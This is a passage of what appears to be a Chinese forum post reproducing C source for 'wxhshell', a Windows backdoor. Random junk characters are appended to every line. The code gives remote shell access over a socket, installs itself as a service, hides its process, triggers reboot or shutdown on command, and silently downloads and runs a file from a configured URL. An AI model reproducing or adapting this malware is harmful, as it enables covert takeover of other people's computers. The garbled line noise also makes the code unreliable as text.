  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'nCVjO7o  
  } n' ~ ==2  
  else { s L^+$Mq6  
W$4$%r8  
    switch(cmd[0]) { TeHJj`rdAU  
  &<A,\ M  
  // 帮助 1djZ5`+  
  case '?': { d GUP|O  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %*R, ceuI  
    break; }]x \ `}o  
  } _Mw3>GNl  
  // 安装 l_g$6\&|  
  case 'i': { ,lZ19B?WP  
    if(Install()) j4$nr=d.6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4agW<c#  
    else +_5*4>MC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $L*gtZ  
    break; ;uBGB h<  
    } c!EA>:;(<  
  // 卸载 %*D=ni#(sT  
  case 'r': { Lq(=0U\"P  
    if(Uninstall()) \Zj%eW!m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y;b#qUd5a  
    else %3z[;&*3O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pN9!  
    break; Ac:`xk<  
    } c8uaZvfW  
  // 显示 wxhshell 所在路径 ]LvP)0=  
  case 'p': { PmuG(qg  
    char svExeFile[MAX_PATH]; };Q}C0E  
    strcpy(svExeFile,"\n\r"); odhcD;^X1  
      strcat(svExeFile,ExeFile); F2N"aQ&  
        send(wsh,svExeFile,strlen(svExeFile),0); x-%O1frc  
    break; s)-An( Uw  
    } ,GSiSn  
  // 重启 JwG(WLb:  
  case 'b': { %1?t)Bg  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "~4V(  
    if(Boot(REBOOT)) @Jd&[T27Lr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l2F#^=tp  
    else { *zdD4 I=  
    closesocket(wsh); !>48`o ^  
    ExitThread(0); Ao K9=F}  
    } d{fd5jv;  
    break; FB6Lz5:Vf  
    } iv*RE9?^  
  // 关机 tA(oD4H9  
  case 'd': { '\bokwsP  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `l|Oj$  
    if(Boot(SHUTDOWN)) ~XR ('}5D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  a*p|Ij  
    else { 7Z>vQf B  
    closesocket(wsh);  [N,+mX  
    ExitThread(0); ^G!cv  
    } :<g0Ho?e  
    break; Xt$qjtVM  
    } A@?0(  
  // 获取shell WJ8i=MO67  
  case 's': { \&F4Wl>`  
    CmdShell(wsh); L?ZSfm2<  
    closesocket(wsh); !oH{=.w  
    ExitThread(0); \GEz.Vb  
    break; 4)iP%%JH  
  } d(^8#4  
  // 退出 d9 [j4q_  
  case 'x': { q^xG%YdPz+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Do4hg $:40  
    CloseIt(wsh); P%R!\i  
    break; > TYDkEs0  
    } L } R"1O  
  // 离开 P5my]4|x  
  case 'q': { i$kB6B#==  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3I 0pHP5  
    closesocket(wsh); 3P!OP{`  
    WSACleanup(); \PS]c9@,rc  
    exit(1); x<I[?GT=  
    break; SY Bp-o  
        } 8Yc-3ozH  
  } |47t+[b   
  } ^: /c<(DQD  
k -G9'c~  
  // 提示信息 b'pwRKpx  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $7YZ;=~B  
} z#gebr~_\  
  } @vq)Y2)r\  
kk5&lak2V  
  return; gq?O}gVD  
} 4- QlIIf  
(A=PDjP!  
// shell模块句柄 QyCrz{/  
int CmdShell(SOCKET sock) A@o7  
{ 6W_:w  
STARTUPINFO si; r )~?5d  
ZeroMemory(&si,sizeof(si)); }V ]*FCpQ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |8E~C~d  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2<*"@Vj  
PROCESS_INFORMATION ProcessInfo; MR|A_e^x  
char cmdline[]="cmd"; dWzf C@]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); H, 3Bf  
  return 0; yW?-Z[  
} e!0xh  
uPl7u 1c  
// 自身启动模式 Qe F:s|[  
int StartFromService(void) p p0356  
{ mNC?kp  
typedef struct 1q;R+65  
{ rXmrT%7k  
  DWORD ExitStatus; Pg.JI:>2Ku  
  DWORD PebBaseAddress; CnuM=S:  
  DWORD AffinityMask; ]*]*O|w  
  DWORD BasePriority; m\*ca3$  
  ULONG UniqueProcessId; pS-o*!\C.  
  ULONG InheritedFromUniqueProcessId; FS8l}t  
}   PROCESS_BASIC_INFORMATION; '`k  
<zY#qFQ2  
PROCNTQSIP NtQueryInformationProcess; XR8`,qH>  
u gRyUny  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; y}FG5'5$13  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?VxQ&^|  
xBc$qjV  
  HANDLE             hProcess; tYMr  
  PROCESS_BASIC_INFORMATION pbi; O.#R r/+)  
|Zn;O6c#L5  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Jv 5l   
  if(NULL == hInst ) return 0; Q,9KLi3  
"r;cH53  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ib2&L  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^{J^oZ'%~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); wqm{f~nj=  
3\{acm  
  if (!NtQueryInformationProcess) return 0; -mO<(wfV>  
=}%:4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xP9R d/xa|  
  if(!hProcess) return 0; G,6`:l  
(j:[<U  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^4JK4+!Zfq  
EhD%  
  CloseHandle(hProcess); H[g i`{c  
e7iQG@i7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); MS2/<LD3d  
if(hProcess==NULL) return 0; MP@}G$O  
4`5W] J]6  
HMODULE hMod; Ac*)z#H  
char procName[255]; |VE.khq#  
unsigned long cbNeeded; `nII@ !  
[vBP,_Tjx  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); kVeY} 8  
\2f?)id~  
  CloseHandle(hProcess); W }Ll)7(|T  
CyVi{"aF3  
if(strstr(procName,"services")) return 1; // 以服务启动 4 y.' O  
mWoN\Rwj  
  return 0; // 注册表启动 nJgN2Z  
} ,DW q  
s)'+,lKw  
// 主模块 blG?("0!  
int StartWxhshell(LPSTR lpCmdLine) x `%x f  
{ HWL? doM  
  SOCKET wsl; Q[!?SSX%  
BOOL val=TRUE; 2 =>3B  
  int port=0; 2nFr?Y3g,  
  struct sockaddr_in door; INCanE`+  
~T._ v;IT  
  if(wscfg.ws_autoins) Install();  KI\ 9)  
oY\;KPz  
port=atoi(lpCmdLine); ,ueA'GZ  
m*e8j[w#  
if(port<=0) port=wscfg.ws_port; L]X Lv9J0  
)>rYp )  
  WSADATA data; # 5{lOeN  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; A6;[r #C  
hR>`I0|p&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ZTGsZ}{5   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 93.L887  
  door.sin_family = AF_INET; 2{hG",JL  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ZE/Aj/7Qy  
  door.sin_port = htons(port); ~vZ1.y4  
MA 6uJT  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { NUi&x+  
closesocket(wsl); v`jFWq8I,  
return 1; q~\[P4m  
} @a]`C $ 6  
7,{!a56zX  
  if(listen(wsl,2) == INVALID_SOCKET) { +jGUp\h%9;  
closesocket(wsl); T< <N U"n  
return 1; (WGEX(|  
} X=k|SayE8  
  Wxhshell(wsl); *; 6LX  
  WSACleanup(); rN~V^k  
0w$1Yx~C  
return 0; *ul-D42!U  
!NhVPb,  
} mndNkK5o  
xAf?E%_pi  
// 以NT服务方式启动 S.fb[gI]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;sSRv9Xb  
{ M[Jy?b)  
DWORD   status = 0; rIj B{X{Z  
  DWORD   specificError = 0xfffffff; WZ@$bf}f0  
a3_pF~Qx  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *_uGzGB&G  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  %B#8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; IkLcL8P^  
  serviceStatus.dwWin32ExitCode     = 0; 74~ %4  
  serviceStatus.dwServiceSpecificExitCode = 0; `9VRT`e  
  serviceStatus.dwCheckPoint       = 0; i~*#z&4A+  
  serviceStatus.dwWaitHint       = 0; W%}zwQ  
W'C~{}c=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *i7|~q/u  
  if (hServiceStatusHandle==0) return; ){i 9,u")  
w 5Yt mnP  
status = GetLastError(); @(e/Y/  
  if (status!=NO_ERROR) !o`h*G-x  
{ J po(O>\P  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?w"zW6U  
    serviceStatus.dwCheckPoint       = 0; Qnv)\M1  
    serviceStatus.dwWaitHint       = 0; Ykj+D7rA:  
    serviceStatus.dwWin32ExitCode     = status; 0qo :M3  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?xCWg.#l4V  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); y$HV;%G{26  
    return; 8<X; 8R  
  } D3;#:  
`CEHl &w  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <8 25?W|  
  serviceStatus.dwCheckPoint       = 0; hdH}4W  
  serviceStatus.dwWaitHint       = 0; ;XGO@*V5T  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); w:[\G%yQ  
} JE/Kf<  
I(:d8SF  
// 处理NT服务事件,比如:启动、停止 T [2l32  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (K|7T{B  
{ _{YUWV50}  
switch(fdwControl) [#C(^J*@c  
{ xEqr3(  
case SERVICE_CONTROL_STOP: p6W|4_a?  
  serviceStatus.dwWin32ExitCode = 0; c\(CbC  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3g5 n>8-  
  serviceStatus.dwCheckPoint   = 0; pK@8= +  
  serviceStatus.dwWaitHint     = 0; UB|}+WA3  
  { - 1tiy.^$F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #w# :f  
  } aqN6.t  
  return; 5}"9)LT@@w  
case SERVICE_CONTROL_PAUSE: Hn!13+fS  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; yk&PJ;%O<  
  break; ~-o[v-\  
case SERVICE_CONTROL_CONTINUE:  <]h?_)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; S;I}:F#5  
  break; f#b;s<G  
case SERVICE_CONTROL_INTERROGATE: &Z 6s\r%  
  break; R>n=_C  
}; w j<fi  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3DS&-rN  
} &-hXk!A  
#8qhl  
// 标准应用程序主函数 bOS; 1~~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6h:2,h pE  
{ S<UWv@`U"  
M A  
// 获取操作系统版本 ;30SnR/  
OsIsNt=GetOsVer(); ~l"]J'jF"H  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5l4YYwd>v  
G#nZ%qQ:I  
  // 从命令行安装 JBt2R=  
  if(strpbrk(lpCmdLine,"iI")) Install(); u@pimRVo  
b .|k j  
  // 下载执行文件 0Tq=nYZA  
if(wscfg.ws_downexe) { :B  9>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 25{-GaB  
  WinExec(wscfg.ws_filenam,SW_HIDE); xY>@GSO1  
} qPF`=#  
jiqE^j3;  
if(!OsIsNt) { ]-"G:r  
// 如果时win9x,隐藏进程并且设置为注册表启动 < wi9   
HideProc(); 5L\&"['  
StartWxhshell(lpCmdLine); Xli$4 uL   
} liU8OXBl  
else B"?ivxM:U  
  if(StartFromService()) R,dbq4xkl  
  // 以服务方式启动 i8->3uB  
  StartServiceCtrlDispatcher(DispatchTable); 1s/548wu  
else 1Y'NG<d _  
  // 普通方式启动 "."ow|  
  StartWxhshell(lpCmdLine); B-UsMO  
Fj4>)!^kM  
return 0; W`v$-o-  
}
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只看该作者 1 发表于: 2006-10-10
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